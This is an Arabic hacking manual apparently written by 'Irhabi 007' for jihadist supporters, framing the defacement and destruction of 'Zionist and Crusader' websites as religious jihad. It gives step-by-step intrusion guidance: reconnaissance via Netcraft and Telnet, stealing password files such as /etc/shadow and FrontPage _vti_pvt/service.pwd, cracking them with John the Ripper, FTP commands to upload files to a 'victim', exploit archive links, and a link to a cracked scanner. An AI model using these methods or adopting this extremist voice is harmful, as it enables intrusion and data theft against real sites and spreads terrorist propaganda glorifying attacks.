

دع القول ولنبدأ العمل !

موسوعة

اختراق

المواقع

† الصهيونية والصليبية

†

إعداد

إرهابي 007

كُتِبَ فِي الْفَكَرَةِ الْعِلْمِيَّةِ

# من الدستور الإلهي

أعوذ بالله من الشيطان  
الرجيم  
بسم الله الرحمن  
الرحيم

( وَخُذُوهُمْ  
وَاحْصُرْهُمْ

# وَاقْعُدُوا لَهُمْ كُلَّ مَرْصِدٍ ! ) إهداء

إلى فرسان الجهاد الإعلامي ...

إلى درر المنتديات وفخر شبكة المعلومات ...

إلى من استفاد منهم المجاهدين في سبيل الله  
وأنصار الجهاد ...

إلى من كانوا ولا زالوا يشكّلون الدعامة  
الاستراتيجية اللوجيستية للإعلام الجهادي بفضل  
الله ...

إلى الأتقياء الأخفياء الأنقياء نحسبهم والله  
حسبهم ...

إلى الأخوين الحبيين إرهابيّ 007 ومحبّ  
الشيخين

وكل من سار على دربهم في العلم والعمل من  
أنصار الجهاد الأخفياء ...

نهدي هذا العمل ونسأل الله تعالى أن يجعل فيه  
قرّة عين المجاهدين الإعلاميين وسوءة إعلام  
الصلبيين الكافرين وخزي كلابهم من المأجورين  
وأذناهم من المرتدين !  
بسم الله الرحمن الرحيم

الحمد لله معزّ الإسلام بنصره ، ومذلّ الشرك  
بقهره ، ومصرفّ الأمور بأمره ، ومستدرج الكافرين  
بمكره ، الذي قدرّ الأيام دولا بعدله ، وجعل العاقبة  
للمتقين بفضله ، والصلاة والسلام على من أعلى الله  
منار الإسلام بسيفه ، وعلى آله وصحبه ومن تبعهم  
بإحسان ، وبعد :

فالسلم عليكم إخوة الإسلام في كل مكان ورحمة  
الله تعالى وبركاته

ونحمد الله سبحانه وتعالى أن وفق إخوانكم  
لأتمام إنجاز هذا العمل الجليل الذي قام عليه أخونا  
الفاضل إرهابي 007 حفظه الله ، وقد أفاض بمجرّد  
الإعلان له كلاب الكفار من اليهود وعبدة الصليب ،  
وقد مضى على إعداد هذا العمل ونشره ما يقرب من  
عام ، وما أن تم نشره ، حتى اغتازت أجهزة الدول  
الغربية وإعلامهم المرجف ، وحيكت أحابيلهم كخيوط  
العنكبوت للحيلولة دون انتشاره ، فتمّ لهم - مؤقتا -  
ما أرادوا ، ولا يخفى على أحد صعوبة العمل الإعلامي  
الجهادي الذي لا يتجاسر عليه إلا من جعل الصدق  
والإخلاص أساسه ، واليقين والتوكل على الله مع  
الأخذ بالأسباب رائده ، وما بين ذلك وذاك ، مرّ الجهاد

الإعلامي بمرحلة صعبة تمخّضت عنها مطاردات وملاحقات واعتقالات طالت العديد من أنصار الجهاد على شبكة المعلومات ، وما ذلك بالكثير بل هو من ضريبة هذا الطريق الجليل ، طريق الأنبياء وصفوة الأولياء ، وَعَيْثِ الْمَسِيرِ ، كَثِيبِ الْمَنْظَرِ ، مَفْرُوشِ الْأَشْوَاكِ ، مَرِيرِ الْمَذَاقِ ! ، ولكن حقّ لمن سار فيه واقتضى شروط وضوابط المسير أن ينال رضوان الله تعالى في الدارين بما أعده الله من مكافآت وكرامات في الدنيا وانتهاء بروضات الجنان ورفقة النبي العدنان عليه الصلاة والسلام في الآخرة ، كيف لا ورب العزة جلّ جلاله وتعالى عظمته يقول : " **أَمْ حَسِبْتُمْ أَنْ تُدْخِلُوا الْجَنَّةَ وَلَمَّا يَعْلَمِ اللَّهُ الَّذِينَ جَاهَدُوا مِنْكُمْ وَيَعْلَمَ الصَّابِرِينَ** " [سورة آل عمران:143] ، وقول الله عزّ من قائل : " **أَمْ حَسِبْتُمْ أَنْ تُتْرَكُوا وَلَمَّا يَعْلَمِ اللَّهُ الَّذِينَ جَاهَدُوا مِنْكُمْ وَلَمْ يَتَّخِذُوا مِنْ دُونِ اللَّهِ وَلَا رَسُولِهِ وَلَا الْمُؤْمِنِينَ وَلِجَنَّةٍ ، وَاللَّهُ خَبِيرٌ بِمَا تَعْمَلُونَ** " [سورة التوبة:16] ، وقول الله تعالى وتبارك : " **أَمْ حَسِبْتُمْ أَنْ تُدْخِلُوا الْجَنَّةَ وَلَمَّا يَأْتِكُمْ مَثَلُ الَّذِينَ خَلَوْا مِنْ قَبْلِكُمْ ، مَسْتَهْمُوا الْيَأْسَاءِ وَالصَّرَّاءِ وَزُلْزَلُوا حَتَّى يَقُولَ الرَّسُولُ وَالَّذِينَ آمَنُوا مَعَهُ مَتَى نَصُرَ اللَّهُ ؟ ، أَلَا إِنَّ نَصْرَ اللَّهِ قَرِيبٌ** " [سورة البقرة:214] ، وسيدنا ونبينا محمد صلى الله عليه وسلم يقول في الصحيح : " **أَلَا إِنَّ سُلْعَةَ اللَّهِ غَالِيَةٌ ، أَلَا إِنَّ سُلْعَةَ اللَّهِ غَالِيَةٌ ، أَلَا إِنَّ سُلْعَةَ اللَّهِ غَالِيَةٌ !** " ، وإن من المعهود في مثل هذه الطريق وهذا المسير ، أن تكون العقبات والعوائق كثيرة ! ، فليس الأمر بالهين ، وإنه مما يكون أشدّ الوقع على أنصار

الجهاد كثرة الإرجاف والتشكيك ممن باعوا أنفسهم  
وضمائرهم للشيطان وباتوا حاقدين ، وعلى أهل  
الجهاد وأنصار الجهاد مرجفين ومشككين ! ، وما يضرُّ  
ذلك من امتلاء قلبه بنور الوحيين وذاق حلاوة الإيمان ،  
ولكن الخلل الجلل كل الخلل فيمن يعقد على  
الأراجيف معاهد اليقين فيتكلم المتكلم منهم بالكلمة  
لا يلقي لها بالا ، يترتب عليها أمور منها : الهوي  
بالكلمة في قعر جهنم سبعين خريفا كما في الصحيح  
، هذا في الأخرى ، أما في الدنيا فما ينعقد على مثل  
هذه الأراجيف من نفع الصليبيين ومن لفّ لفهم من  
أجهزة مباحث الخبائث في بلادنا ، والإضرار بإخوة  
كثير بسبب أراجيف وأغاليط لا أساس لها من الصحة ،  
والرائد لا يكذب أهله ! ، وأهم وأخطر معالم الإرجاف  
والتشكيك هو كثرة الإشاعات التي تنتشر كالنار في  
الهشيم اليبس ، كما هو غالب الحال في المنتديات ،  
ولا نبسط كثيرا ولكن نجمل محمودا ، والحرّ تكفيه  
الإشارة .

ونختم بما أسلفنا من القيام بالإعداد والاعتناء  
بهذه الموسوعة الموجزة الطيبة ، التي قام عليها  
وأعدّها أخي الفاضل إرهابي 007 حفظه الله وأدامه  
فخرا وذخرا لأمة الإسلام عامة وطليعتها المجاهدة  
خاصة ، وجعله الله مخرزا في عيون الكافرين  
وشوكة في حلوقهم وسعدانا في أكبادهم ، وأبقاه  
الله لما يسوء الكافرين ويخزي كلابهم من المرتدين  
ويفضح أذناهم من المنافقين أجمعين ، اللهم آمين .

قام على هذا العمل أكثر من أخ وقمنا بالاعتناء بما  
كتبه وانتقاه وأعدّه أخي الحبيب إرهابي 007 حفظه  
الله ، وقمنا بتجديد العديد من الروابط وجمع البرامج

المطلوبة والمذكورة في الموسوعة تجدوها في المرفقات المضغوطة ، وقمنا بتنقيح ما فيها لغويا ، فالجمع والانتقاء والاعداد بأكثر من لهجة ، فتم توحيد اللهجة للعربية الفصيحة ، ونسأل الله أن يكتب لما قمنا به القبول ، وكما سألناه الصدق والإخلاص في القول والعمل ، نسأله البراءة ! فنبراً إلى الله من كل من تسوّل له نفسه أن يضرب بهذا العمل الإسلام والمسلمين والجهاد والمجاهدين ، فنسأل الله أن تشلّ الأيدي وتقطع ، وتضمّ الأذان وتطرش ، وتعمى العيون ويختم على قلوب كل من تسوّل له نفسه الإضرار بالمسلمين ، والله يحفظ أخينا إرهابي 007 في خير وعافية ويلهمه رشده وتمام النصره وكمال الجهاد في سبيل الله وسائر إخواننا المجاهدين الإعلاميين وكافة المجاهدين الميدانيين وأنصارهم من صلحت نياتهم واستوت سريرتهم والظواهر ، اللهم آمين .

فعليه أخي الكريم ابدأ التطبيق أولاً بأول مستعينا بالله ومتوكلاً على الله وهو حسبنا ونعم الوكيل ، وكما قلنا ونكرّر نبراً إلى الله سبحانه وتعالى من كل من تسوّل له نفسه الإضرار بمسلم على هذه البسيطة وإنما عملنا هو جزء من جهاد الأمة ضد أعدائها وأهم جبهة تحتاج إلى العمل والنصرة والمثابرة والمصابرة هي الجبهة الإعلامية وعليه ننشر هذا العمل ونسأل الله القبول .

اللهم سدّد رمي المجاهدين وثبت أقدامهم واربط على قلوبهم ، اللهم وأسيراتنا وأسيرانا الأحرار في سجون القهر الصليبي الطاغوتي ، من لهم غير

رحمتك وباب فرجك يا أرحم الراحمين كن لهم  
أجمعين ، اللهم ونسألك الصدق والإخلاص في القول  
والعمل والاعتقاد ، اللهم ونسألك طول عمر وحسن  
عمل وجهادا في سبيلك وعظم نكاية وتنكيل بأعدائك  
وأعداء رسولك - عليه الصلاة والسلام - وأعداء  
المؤمنين ، ونسألك بعد ذلك حسن ختام بشهادة  
امتياز في سبيلك مقبلين غير مدبرين مع مرتبة  
الشرف الأولى ورفقة النبيين والصديقين والشهداء  
والصالحين وحسن أولئك رفيقا ، اللهم استجب اللهم  
أمين .

بورك فيكم أجمعين ودمتم فخرا لكل مكرمة وذخرا  
لكل ملحمة

عن جميع الإخوة الأفاضل الكرام - الذين رفضوا نشر  
أسمائهم وكفاهم شرفا وفخرا أن الله يعرفهم  
ويجزئهم عن أمتنا الحبيبة خير الجزاء -

أخوكم الفقير أصغر القوم وأجهلهم

السيف الأثري

كان الله له وإخوانه وللمسلمين  
بسم الله الرحمن الرحيم

رب يسر يا كريم

دع القول ولنبدأ العمل !

# موسوعة اختراق المواقع الصهيونية والصليبية

أخي الكريم ، السلام عليكم ورحمة الله تعالى  
وبركاته .

أولاً عليك تعلم أموراً منها :

لا تحسبنّ المجد تمراً أنت آكله \*\*\* لن تبلغ المجد  
حتى تلعق الصبرا

وعليه فلن تصير "هاكراً" محترفا فيما بين ليلة  
وضحاها .

وأن "الهاكر" الحقيقي لا يستعمل برامج صنعها  
"هاكر" آخر بل "الهاكر" الحقيقي هو الذي يبتكر  
أشياء جديدة ! ، وذلك لأن الإنجاز الذي يقوم به  
"الهاكر" أيّاً كان تنسب لصاحب البرنامج ! ، كما أن  
ما يقوم به "الهاكر" الآخر يصبح معروفاً حينما يصل  
إليك ، أضف إليّ ذلك أن برنامج "الهاكر" قد يحتوي  
على ثغرات تمكن صانع برنامج "الهاكر" الذي  
تستخدمه من الدخول على جهازك وعمل "هكر"  
عليه ! .

## أساسيات وتعريفات :

**1 ( تيل - نيت (Telnet) :** وهو برنامج صغير موجود في "الويندوز" .

أي إن باستطاعة هذا البرنامج الإتصال بالـ "سيرفر" أو الخادم وإجراء بعض العمليات كل حسب مستواها وحالتها . يستخدمه "الهاكرز" غالبا لمعرفة نظام تشغيل الموقع و"السيرفر" التابع له ، وللاتصال بالـ "سيرفر" عبر "بورت" معين وخصوصا "بورت الإف تي بي" للدخول إلى الموقع بطريقة خفية لعرض ملفات الموقع وسحب ملف الباسورد أو غيره من البيانات .

لاستخدام البرنامج اذهب إلى :

**Start ==> Run ==> Telnet**

وستظهر شاشة التيل - نت .

وهناك برنامج مشابه له فيه خاصية التشفير و يدعى SSH وله ذات الاستخدامات تقريبا ، ولكن كل المعلومات المنقولة عن طريقه تكون مشفرة ، والله أعلم .

**2 ( برامج المسح (سكانر) SCANNER :** وهي

برامج مهمتها الأساسية مسح المواقع وكشف ثغراتها إن وجدت ، فهي سريعة ، كما أنها تملك قاعدة بيانات واسعة وكبيرة ، وتحتوي على الثغرات أو "الإكسبلويت" (نوع خاص من الثغرات) التي يتم تطبيقها على الموقع لرؤية فيما

إذا كان "السيرفر" يعاني من إحدى هذه الثغرات أم لا .

ومن أمثلة هذه البرامج : برنامج Shadow  
Security Scanner وبرنامج Stealth وبرنامج  
Omran Fast .

و لهذه البرامج أنواع مختلفة ، منها التي تقوم بعمل سكان على نظام أو "سيرفر" معين مثل البرامج المختصة بالسكان "على "سيرفرات" ال IIS (سيرفر من صناعة مايكروسوفت) ، أو على ثغرات "السي جي أي" CGI فقط ومنها برامج المسح لجميع أنواع السيرفرات ، والله أعلم .

**3 ( "إكسبلويت" Exploits :** هي برامج تنفيذية تنفذ من خلال المتصفح . و لها عنوان URL وتقوم هذه "الإكسبلويتات" بعرض ملفات الموقع و تقوم بعضها بالدخول إلى السيرفر والتجول فيه ، كما توجد "إكسبلويتات" تقوم بشن هجوم على "بورت" معين في "السيرفر" لعمل "كراش" له ، وهذا ما يسمى بـ Buffer Over Flow Exploits .

هناك أنواع من "الإكسبلويت" ، فمنها

CGI Exploits

CGI Bugs

Unicode's Exploits

Buffer over Flow Exploits

## PHP Exploits DOS Exploits

والتي تقوم بعملية حجب الخدمة لـ "سيرفر" إن وجد فيها الثغرة المطلوبة لهذا الهجوم و إن لم يكن على "السيرفر" أي "فايروول" Fire Wall .

وهناك بعض "الإكسبلويتات" المكتوبة بلغة السي ويكون امتدادها (c.\*\*\*)، هذه "الإكسبلويتات" بالذات تحتاج إلى "كومبايلر" أو برنامجا لترجمتها وتحويلها إلى "إكسبلويت" تنفيذي عادي يستخدم من خلال المتصفح ، ولتحويل "الإكسبلويت" المكتوب بلغة السي هذه إلى برنامجا تنفيذيا ، نحتاج إما إلى نظام التشغيل "لينوكس" أو "يونكس" ، أو إلى أي "كومبايلر" يعمل ضمن نظام التشغيل ويندوز .

أشهر هذه "الكومبايلرات" (المترجمات أو المحولات) برنامج اسمه Borland C++ Compiler وهو يعمل تحت نظام التشغيل "ويندوز" كما ذكرنا سابقا .

**4 ( الجدار الناري: (Firewall)** هي برامج تستخدمها "السيرفرات" لحمايتها من الولوج غير الشرعي لنظام ملفاتنا من قبل المتطفلين فهي تمثل الحماية لـ "سيرفر" بالطبع ، ولكني أنوه إلى أن "الفايروولات" المستخدمة لحماية السيرفرات

(المواقع) تختلف عن تلك التي تستخدم لحماية الأجهزة .

**( 5 ) ملف "الباسورد" المظلل:**  
Shadowed Password والذي يكون فيه الباسورد على شكل \* أو x ، حيث أن ملف "الباسورد" العادي تكون الأسطر فيه بهذا الشكل :

```
Username: passwd: UID: GID: full name:  
directory: shell
```

حيث أنك تجد "الباسورد" المشفّر بعد الاسم و النقطتين :

أما في ملف "الباسورد" إذا كان مظلا فإنه شكله يصير كالتالي :

```
Username: x: 503: 100: Full Name:  
/home/username: /bin/sh
```

حيث كما هو واضح "الباسورد" قد تمّ تغييره برمز X مكانه .

وفي حالة أن ملف "الباسورد" مظلل فبإمكانك أن تجد ملف "باسورد" آخر يحوي على "الباسورد" المشفّر ويسمى Shadow file وتجده في المكان التالي :

etc/shadow/

ويكون شكل الأسطر في الملف على هذا الشكل  
:

Username: passwd: last: may: must: warn:  
expire: disable: reserved

فيمكنك نسخ "الباسورد" المشفر من هنا ووضع  
في الملف المظلل حتى يصبح الملف المظلل  
تماما كملف "الباسورد" العادي .

### **6 ( الوضع المتخفي Anonymous ) : هي**

الوضعية الخفية والمجهولة التي تدخل فيها إلى  
الموقع المراد اختراقه ! . هناك خاصية في برامج  
"الإنترنت بي بي" بنفس الاسم ، تستطيع أن  
تستخدمها في الدخول المجهول إلى "السيرفر"  
وسحب الملفات منه . (إذا كان "السيرفر" يسمح  
بهذا) .

### **7 ( الثغرات غير المحصنة Vulnerabilities ) :**

أي الثغرات أو مواضع الضعف غير المحصنة أو  
القابلة للعطب  
والتي يعاني منها "السيرفر" والتي قد تشكل  
خطرا أمنيا عليه مما يؤدي إلى  
استغلالها من قبل "الهاكرز" في مهاجمة  
"السيرفر" واختراقه أو تدميره .

Vulnerable أي ثغرة أو بالأصح موضع الضعف

والمكان غير المؤمن بشكل سليم ، وتكثر هذه  
الكلمة في القوائم البريدية للمواقع المهمة  
بالـ "سيكيوريتي" وأمن الشبكات وغيرها كالقائمة  
البريدية الموجودة في موقع  
Security Focus

<http://www.securityfocus.com>

أو بووك تراك

<http://www.securityfocus.com/archive/1>

أو غيرها .

### **8 ( ملف "الباسورد" Password File : هو**

الملف الذي يحتوي على باسورد الرووت و  
"باسوردات" الأشخاص المصرح لهم بالدخول  
إلى السيرفر ، باسورد الموقع موجود في نفس  
الملف طبعا .

وهنا يجب ملاحظة أن جميع "الباسوردات"  
مشفرة في هذا الملف .

### **9 ( الجذر Root : وهو المستخدم الجذري**

والرئيسي للنظام ، له كل الصلاحيات في التعامل  
مع ملفات الموقع و"السيرفر" ، من إزالة أو  
إضافة أو تعديل للملفات . (وهو ما يقابل الأدمين  
Administrator في "الويندوز" ) .

غالباً ما يكون باسوورد "الرووت" هو باسوورد الموقع نفسه في المواقع التي تعمل ضمن نظام التشغيل "لينوكس" أو "يونكس" أو "سولاري" أو "فري بي أس دي" أو غيرها .

**10) "السيرفر" : Server** هو الجهاز المستضيف للموقع ، إذ إن كل ملفات الموقع توضع فيه فهو جهاز كمبيوتر عادي كغيره من الأجهزة لكنه ذو إمكانيات عالية : ككبر حجم القرص الصلب وسرعته الهائلة ، وهو متصل بالإنترنت 24 ساعة ، وهذا هو سبب كون المواقع شغالة وفاعلة 24 على الإنترنت . قد يملك ويستضيف "السيرفر" أكثر من موقع واحد ، وهذا يعتمد من "سيرفر" لآخر ومن شركة لأخرى .

ضربة "الهاكرز" طبعا هي اختراق "السيرفر" الذي يملك الكثير من المواقع ، فيسهل حينها اختراق جميع المواقع التي تندرج تحته مما يؤدي إما إلى تدميرها أو العبث في ملفاتهما أو تشويه واجهتهما أو سرقة بياناتها وتدميرها أو مسحها من الشبكة تماماً ، وهذا ما يحدث للمواقع اليهودية وبكثرة ولله الحمد فجزاكم الله خيراً أيها المجاهدون .

**11) "بوفر أوفر فلو" Buffer over Flow :** وهي نوع من أنواع "الإكسبليوتات" التي تستعمل لشن هجوم الطفح على نقطة معينة من "السيرفر" (بورت من السيرفر) مثل الهجوم على

"بورت" الإف تي بي أو غيره لأجل إضعاف اتصال "السيرفر" وفصل اتصاله بهذا البورت ولإلغاء الرقعة (الحاجز) الموجودة بها كي يتم استغلالها مجددا - بعد عمل "الكراش" لها طبعاً - ، ويتم استغلالها في معاودة الاتصال بها وبسهولة ودون وجود أي رقع أو حواجز وسحب البيانات منها (بعد عمل "كراش" للحاجز يصبح الدخول إلى "السيرفر" سهل و دون حواجز) ، وهي شبيهة نوعاً ما بعملية حجب الخدمة إذ أنها تقوم بعملية "أوفر لود" على جزء مرگز من "السيرفر" .

**12 ( بوكس BOX )** : كثير من "الهاكرز" يحبون أن يطلقوا على كل من الـ pc , servers , supercomputers كلمة BOX .

**13 ( Super User )** : النظام الذي سوف نقوم باختراقه - بعون الله وحوله وقوته - يحتوي عادة على العديد من "اليوزرز" والمستخدمين ذوي الصلاحيات الكاملة أو شبه الكاملة يسمون super user وهو يكون "رووت" وهو "الأدمين" أو المدير على النظام .

**14 ( " شيل أكاونت " Shell Account )** : الشيل أكاونت هو عبارة عن خدمة ، حيث يمكنك من خلالها التحكم في جهاز من بعيد ، وهذا الجهاز عليه نظام "اليونيكس" ، وتستطيع الدخول على "الشيل أكاونت" shell account عن طريق الـ "تيل نت" Telnet أو SSH سالفه الذكر .

## 15 ( الملقّات Web Servers ) : أشهرها اثنين

:

IS: من "مايكروسوفت" وهذه مليئة بالثغرات (ومواقعها مقفلة الثغرات قليلة).

Apache: من مجموعة مبرمجين متوزعين في أنحاء العالم واختراقها شبه صعب! وهو ملقّم مفتوح المصدر ودائم التطوير!.

## 16 ( الأنظمة Systems ) : هناك أنظمة كثيرة

: منها :

SunOS

FreeBSD

OpenBSD

NetBSD

AIX

IRIX

Windows/NT/2000/xp

Linux بأنواعه الكثيرة مثل الردهات والفيدوره وغيرها.

## 17 ( "اللينوكس" Linux ) : له ستة مجلدات

أساسية وهي :

Bin خاص بالملفات الثنائية أي التي تشغل النظام.

Etc ملفات إدارة النظام ومن ضمنها "الروت" الذي هو حساب مدير النظام أو password (وهذا

المجلد مهماً جداً دراسته ومحتوياته المهمة لعملية الإختراق بإذن الله).

Dev ملفات الأجهزة .

Lib مكتبات الربط الديناميكي التي تساعد النظام في التشغيل.

Tmp الملفات المؤقتة أو غير الثابتة.

Usr أسماء المستخدمين وكلمات السر للذين لهم حسابات في النظام (أيضاً دراسة هذا المجلد مهمة).

## 18 ) أوامر "إف تي بي" FTP :

أ) Pwd : لكي تعرف ما يحتويه "الهارد ديسك".

ب) Cd : لاقتحام مجلد ، مثال : Cd black ، في هذا المثال قمت باقتحام مجلد المسمى "بلاك" .

ج) ls : لكي يتضح لك محتوى المجلد أو "الهارد ديسك" (مثل أمر Dir في "الدوس" ).

د) Get : لكي تحمل إلى جهازك الملف المراد ،  
مثال :

Get black.exe

حيث إن هذا الأمر يقوم بتحميل الملف black.exe من السيرفر إلى كمبيوترك في

المجلد الذي كنت فيه قبل كتابة أمر ال FTP  
(عادةً في سطح المكتب).

هـ) Put : العملية العكسية لـ Get ، يعني أن تأخذ  
ملف من عندك وتضعه في جهاز الضحية ، مثال :  
Put black.exe  
(هنا يجب أن يكون الملف موجود في المجلد الذي  
كنت فيه قبل أمر ال FTP وعادةً في سطح  
المكتب).

و) Close : لقطع الاتصال مع الضحية .

يمكنك تشغيل "الإف تي بي" من "الويندوز" عن  
طريق :

**START ==> RUN ==> ftp -n hostname**

## **19 ) بورتات البرامج :**

Echo 7  
Telnet 21  
ftp 23  
SMTP 25  
http 80  
POP 110

## **20 ) ملاحظة رسائل لأخطاء معينة :**

ومن أشهرها الرسالة Error 404 وهي تظهر عند  
طلب ملف غير موجود في الموقع وعند ظهور هذه

الصفحة انظر إلى أسفل الصفحة وقد تجد معلومات مثل : إصدارة ملقّم "الويب" ، وهذه معلومات غير مضرّة أو خطيرة لكنها تفيد في عملية الاختراق بإذن الله .

## 21 ) أماكن تواجد ملف "باسورد" المواقع حسب نظام التشغيل :

أ) SunOS 5.0 :etc/shadow أو etc/passwd

ب) Linux : etc/shadow أو etc/passwd

ج) BSD4.3 –RENO : etc/master. Psswd

د) AIX : etc/security/passwd

هـ) Windows NT: scripts/passwd

## 22 ) برنامج John the Ripper :

أحد أفضل البرامج لكسر كلمات السرّ التي يحصل عليها المخترقون من الأنظمة (\*nix) "وتعني لينوكس أو يونكس". وهذه الأنظمة - وأخص الإصدارات الحديثة - توفر نظام حماية إضافي لملف (PASSWORD) ، بأن يكون مظلّل وعلى المخترق الحصول على ملف (SHADOW) لكي يحصل على ملف كلمات السر مشفرة ومن ثم يقوم بكسر هذا التشفير . هذه هي الوظيفة الأساسية وأعتبرها من أهم الخطوات في اختراق الخوادم لأنها تعطيك المفتاح بعون الله .

## طريقة الاختراق :

أولاً قبل أن نبدأ بهذا القسم ، عليك أخي الكريم أن تعلم أن ما نشرحه هنا ما هو إلا إحدى طرق الاختراق وقد تصبح هذه الطرق قديمة بعد مدة ! ، ولكن ما يهم أن تعلم كيف تتم عملية الاختراق بشكل عام ، وأن تعلم كيف يمكنك البحث عن الثغرات في الأنظمة وكيفية استغلالها بما يلبي أهدافنا النبيلة بعون الله.

**أول خطوة في الاختراق هي أخذ المعلومات !** ، يعني أن نعرف الموقع ما هو الملقم الذي يشتغل عليه والنظام والخدمات التي يدعمها ونحو ذلك .

حسنا الآن عندنا موقع فكيف نعرف نظام التشغيل والملقم والخدمات والمعلومات كلها ، تتم هذه العملية عبر إدخال اسم الموقع في أحد هذه المواقع والتي تعطينا معلومات مختصرة عن نوع نظام التشغيل الذي على الموقع ونوع الملقم ونحو ذلك .

وهذه المواقع هي :

[/http://www.netcraft.net](http://www.netcraft.net)

[/http://www.whois.com](http://www.whois.com)

## ملاحظة مهمة : نكتب عنوان الموقع من غير هذه الرموز http://: ومن غير الشرطة المائية / التي في الأخير !

ويمكن أيضا الحصول على نفس المعلومات عن طريق محاولة الدخول على الموقع عبر برنامج تيل-نت Telnet.

أ) مثال على ملقمات IIS :

إذا أدخلنا اسم الموقع في netcraft سوف يظهر لنا التالي :

This site http://www.\*\*\*.com is running  
Microsoft - Windows 2000 on IIS/5.0

طيب الآن عرفنا معلومتين مهمتين :

أولا أن الموقع شغال على الملقم IIS5.0 .  
وأخرا أن النظام المستخدم هو "ويندوز" 2000 .

ثم نعمل التالي :

1 ) أول شيء نجرّب ثغرات IIS5.0 عليه ، طيب الآن يوجد حاجة تسمى "يوني كود" ، هذه تخترق فيها عن طريق المتصفح وما تتماشى إلا مع ملقمات IIS وهي عبارة عن عناوين طويلة تضعها بعد عنوان الموقع .

2 ) إذا لم ينفَع شيء ننظر في ثغرات نظام  
"ويندوز" 2000  
طيب لنضع افتراضاً أنه لم يظهر فيها ثغرات!؟

3 ) ننظر في محتويات الموقع نفسه ! ، نرى إن  
كان عنده سجل زوار أو منتدى أو نحو ذلك ... (هذا  
مثال على طريقة اختيار أسلوب الهجوم حيث أنه  
بناء على معلومات الموقع نجرب الثغرات التي  
يمكن أن نهاجم بها الموقع بعون الله).

ب) مثال على ملقّمات أباتشي :

ناخذ مثال موقع أرانك

<http://www.arank.com>

لو حللناه بالنيت كرافت سوف نرى النتيجة التالية :

```
The site http://www.arank.com/ is running  
Apache/1.3.20 (UNIX) mod_gzip/1.3.19.1a  
mod_perl/1.26 mod_bwlimited/0.8 PHP/4.0.6  
mod_log_bytes/0.3 FrontPage/5.0.2.2510  
mod_ssl/2.8.4 OpenSSL/0.9.6 on Linux
```

هنا يهمننا ثلاث أمور :

1 ) الملقّم وهو apache 1.3.20 : أول شيء  
أباتشي من الملقّمات صعبة الإختراق - وليست  
مستحيلة - إلا بعض الإصدارات منها فنضع هذه جنباً

.

2 ) ودعم فرونت بيج FrontPage/5.0.2.2510 وهذه مليئة بالثغرات .

3 ) النظام وهو Linux (اختراق نظام لينوكس يعد أصعب نوعاً ما من غيره والله أعلم) .

الآن سوف نقوم بشرح الثغرات التي في دعم

فرونت بيج :

دعم الفرونت بيج كما أسلفنا مليئ بالثغرات ،  
وثغراته قوية وكثيرة تقريبا . منها مجلدات vti\_pvt\_  
و private ، وهذه التي نحتاجها وغيرها غالبا ما لا  
فائدة فيها ، وداخل المجلدين المذكورين سوف نجد  
أربع ملفات مهمة وهي :

service.pwd

users.pwd

authors.pwd

adminstators.pwd

ويعتبر هذا أخطر ملف ، فلو قدرنا مثلا ننزل واحد  
من هذه الملفات (مع ملاحظة أن هذه الثغرة  
موجودة في 70% من المواقع الموجودة  
والمنتشرة على الشبكة ) ، فلو أنزلناها نفتحها  
بالمفكرة ونجد هذا السطر على سبيل المثال :

Goodyco: CaIXS8USI4TGM

وهذه من موقع ما

[http://www.\\*\\*\\*\\*.com/\\_vti\\_pvt/service.pwd](http://www.****.com/_vti_pvt/service.pwd)

حسنًا الآن عرفنا أن الـ Goodyco هو "اليوزر" ،  
والباسورد مشفّر والذي هو CalXS8USI4TGM ،  
فكيف ن فكّ التشفير ؟!

نقوم بفكّ التشفير عن طريق برنامج يسمى john  
the ripper (شرح استخدامه موجود في آخر  
موضوع في هذا المجلد إن شاء الله .

الآن نذهب إلى الفقرة الثالثة والتي هي النظام ،  
وكما علمنا النظام هو "لينوكس" ولكن أي إصدار  
منها ؟! هناك "ريد هات" و "ماندريك" وهناك منه  
إصدارات كثيرة وثغرات أكثر ولكن هنا سوف  
تواجهك مشكلتين  
الأولى شيء معرفة النظام ، وتستطيع استخراجها  
من قائمة أبدأ وتشغيل الـ  
Telnet ، واكتب عنوان الموقع فيظهر لك النظام  
من فوق : نوعه وإصدارته ، والمشكلة الثانية يجب  
أن يكون عندك "لينوكس" أصلاً لأن الثغرات هي  
بلغة الـ C والتي لا تعمل إلا على "اللينوكس" فقط .

## الخلاصة :

إذن ، يتضح لنا مما سبق أن عملية  
الاختراق تتكون من قسمين : الأول جمع

## المعلومات عن المستهدف ومن ثم الهجوم بناء على هذه المعلومات .

ومما سبق نكون قد أنهينا مرحلة جمع المعلومات  
ويتبقى علينا مرحلة استغلال الثغرات بناء على  
المعلومات للهجوم على الضحية ! ، وهناك عدة  
مواقع تقوم وبشكل دوري بعرض الثغرات على  
حسب الملقم ونظام التشغيل وغيره ، وكل ما  
علينا هو قراءة هذه الثغرات ومحاولة استغلالها  
بالشكل المطلوب بعون الله .

ومن المواقع التي تقدم هذه الخدمة :

[/http://www.ussrback.com](http://www.ussrback.com)

وهذا الموقع خطير جداً ، تذهب للـ EXPLOITS  
الموجودة على اليسار ، وتختار أول اختيار ، هنا  
ثغرات جميع الأنظمة من "لينوكس" و"ويندوز"  
ونحوها .. ومتنوعة من C أو Perl أو "يوني كود".

ومن هذه المواقع أيضا :

<http://neworder.box.sk>

هذا الموقع مفيد جداً ، تكتب مثلا فوق أعلاه في  
المربع الموجود على اليسار IIS أو apache أو  
موقع منتدى وإصدارته أو أي برنامج ويظهر لك  
ثغراته .

مواقع أرشيفية للثغرات المختلفة :

[www.securiteam.com/exploits/archive.html](http://www.securiteam.com/exploits/archive.html)

[www.ussrback.com](http://www.ussrback.com)

[www.secureroot.com](http://www.secureroot.com)

[/http://www.rootshell.com](http://http://www.rootshell.com)

[www.secureroot.com/category/exploits](http://www.secureroot.com/category/exploits)

وهناك أيضا برامج مهمتها البحث عن الثغرات في موقع ما وتقديمها لك على طبق من ذهب وهذه من أفضل برامج البحث عن الثغرات ونسأل الله تمام مقاصدنا لكل خير يرضيه سبحانه :

## 1 ( برنامج Shadow Security Scanner

لتحميل البرنامج على هذا الرابط ( وتجدده أيضا في المرفقات المضغوطة مع الشارخ "الكراك" )

<http://mirror1.safety-lab.com/SSS.exe>

تحميل الكراك :

[http://www.aldamar.net/index\\_files/license.zip](http://www.aldamar.net/index_files/license.zip)

تحميل ملف التعريب :

[http://www.aldamar.net/index\\_files/ssslanguage.zip](http://www.aldamar.net/index_files/ssslanguage.zip)

وصلة شرح البرنامج :

[http://www.aldamar.net/index\\_files/ssslanguage.zip](http://www.aldamar.net/index_files/ssslanguage.zip)

